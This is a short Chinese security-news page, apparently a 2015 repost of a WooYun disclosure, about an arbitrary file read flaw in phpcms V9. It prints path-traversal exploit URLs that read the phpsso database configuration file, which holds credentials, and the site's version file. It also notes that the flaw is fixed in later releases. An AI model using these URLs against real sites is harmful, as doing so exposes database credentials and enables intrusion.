phpcms V9最新任意读文件漏洞 - 网站安全

phpcms V9最新任意读文件漏洞 - 网站安全 - 自学p

来源：自学PHP网时间：2015-04-17 14:11 作者：阅读:次

[导读] wooyun,2012年7月23日漏洞利用代码：/index.php?m=searchc=indexa=public_get_suggest_keywordurl=asdfq=../../phpsso_server/caches/configs/database.php转载请著名，本文来自http://www.wooyun.in/post/7......

漏洞利用代码：

/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../
phpsso_server/caches/configs/database.php

原文：http://www.wooyun.in/post/7.html

www.2cto.com修复方案：这应该是以前版本的问题，红黑联盟编辑通过
http://v9.demo.phpcms.cn/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../
caches/configs/version.php

确定为V9.1.13 20120129，目前最新版本已不存在该问题

cookie注入&中转注入笔记 - 网站安全 - 自学ph

豆丁文档第三方登陆未验证导致存储型xss - 网站

子栏目

phpcms V9最新任意读文件漏洞 - 网站安全 - 自学p

最新评论

添加评论

更多文章推荐

添加评论